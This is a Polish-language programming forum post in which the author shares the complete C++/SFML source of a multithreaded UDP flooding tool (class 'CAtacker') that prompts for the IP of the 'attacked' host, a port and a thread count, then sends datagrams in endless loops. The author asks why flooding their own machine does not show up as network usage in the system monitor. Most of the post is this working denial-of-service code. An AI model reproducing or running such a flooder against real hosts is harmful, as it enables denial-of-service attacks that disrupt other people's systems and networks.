Witam
Napisałem sobie aplikacje wielowątkową której zadaniem jest wysyłać datagramy na dany port komputera o wskazanym IP.
Napisałem, działa. Problem (jeżeli tak to można nazwać) nie jest typowo programistyczny.
Właściwie jest to raczej pytanie: Dlaczego jeżeli DDoSuje samego siebie to wysyłane dane nie są widoczne w monitorze/menadżerze systemu ?
Język C++, użyłem SFML, aplikacje testowałem na Windowssie i GNU/Linux Mint 17.3 Cinnamon.
Załączam zdjęcia:
Na Windowsie 7 widać tylko obciążenie procka 100% a uzycie sieci leży.
Dołączam kod żródłowy:
#include <SFML/Network.hpp>
#include <SFML/System.hpp>
#include <SFML/Main.hpp>
#include <SFML/Graphics.hpp>
#include <include/atacker.hpp>
#include <iostream>
/*
1 [Poprawka] krytyczna [CENSORED ....]
*/
int main()
{
char data[50] = "TEST";
sf::IpAddress IP_Computer;
unsigned short targetPort;
uint64_t numberThreads;
std::cout << "Podaj IP atakowanego" << std::endl;
std::cin >> IP_Computer;
std::cout << "Podaj port" << std::endl;
std::cin >> targetPort;
std::cout << "Ilosc watkow" << std::endl;
std::cin >> numberThreads;
CAtacker * atackers = new CAtacker[numberThreads];
for(unsigned int i = 0;i < numberThreads;i++)
{
atackers[i].init(data,50,targetPort,IP_Computer);
atackers[i].launch();
}
while(!sf::Keyboard::isKeyPressed(sf::Keyboard::Escape))
{
}
return EXIT_SUCCESS;
}
#include <include/atacker.hpp>
#include <iostream>
CAtacker::CAtacker()
{
}
void CAtacker::init(void * _data,size_t _sizeDataToSend,uint16_t _port,sf::IpAddress _target)
{
m_ptrToData = _data;
m_sizeData = _sizeDataToSend;
m_port = _port;
m_target = _target;
}
CAtacker::~CAtacker()
{
delete m_thread;
}
void CAtacker::launch()
{
m_thread = new std::thread(&CAtacker::run,this);
std::cout << "Thread: " << m_thread->get_id() << " was started" << std::endl;
//m_thread->detach();
}
void CAtacker::terminate()
{
delete m_thread;
}
void CAtacker::run()
{
while(1)
{
if (m_socket.send(m_ptrToData, m_sizeData, m_target, m_port) != sf::Socket::Done)
{
std::cout << "Can't sent datagram - thread: " << m_thread->get_id() << std::endl;
}
}
}
#ifndef ATACKER_HPP_INCLUDED
#define ATACKER_HPP_INCLUDED
#include <SFML/Network.hpp>
#include <SFML/System.hpp>
#include <SFML/Main.hpp>
#include <SFML/Graphics.hpp>
#include <thread>
class CAtacker final
{
public:
CAtacker();
~CAtacker();
void init(void * _data,size_t _sizeDataToSend,uint16_t _port,sf::IpAddress _target);
void launch();
void terminate();
private:
void run();
void * m_ptrToData;
uint16_t m_port;
size_t m_sizeData;
sf::UdpSocket m_socket;
sf::IpAddress m_target;
std::thread * m_thread;
};
#endif // ATACKER_HPP_INCLUDED